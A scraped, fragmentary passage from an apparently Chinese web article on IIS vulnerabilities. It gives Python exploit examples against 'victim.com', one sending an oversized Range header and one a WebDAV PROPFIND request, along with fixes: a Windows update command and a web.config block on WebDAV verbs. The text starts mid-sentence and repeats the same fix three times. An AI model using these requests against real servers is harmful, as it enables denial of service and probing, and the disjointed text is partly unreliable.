赞
踩
Range
头字段中的特制值。利用示例:
- import requests
-
- headers = {
- 'Range': 'bytes=0-18446744073709551615'
- }
-
- response = requests.get('http://victim.com', headers=headers)
- print(response.status_code)
修复方法:
- # Windows 更新命令
- wuauclt /detectnow /updatenow
利用示例:
- import requests
-
- payload = "<?xml version=\"1.0\"?><propfind xmlns=\"DAV:\"><prop><propname/></prop></propfind>"
- headers = {
- 'Content-Length': str(len(payload)),
- 'Content-Type': 'text/xml'
- }
-
- response = requests.request('PROPFIND', 'http://victim.com', headers=headers, data=payload)
- print(response.status_code)
修复方法:
- # 禁用 WebDAV 方法
- <configuration>
- <system.webServer>
- <security>
- <requestFiltering>
- <verbs>
- <add verb="PROPFIND" allowed="false" />
- <add verb="PROPPATCH" allowed="false" />
- <add verb="MKCOL" allowed="false" />
- <add verb="COPY" allowed="false" />
- <add verb="MOVE" allowed="false" />
- <add verb="LOCK" allowed="false" />
- <add verb="UNLOCK" allowed="false" />
- </verbs>
- </requestFiltering>
- </security>
- </system.webServer>
- </configuration>
修复方法:
- # Windows 更新命令
- wuauclt /detectnow /updatenow
修复方法:
- # Windows 更新命令
- wuauclt /detectnow /updatenow
除了针对特定漏洞的修补,以下是一些综合的防御措施:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。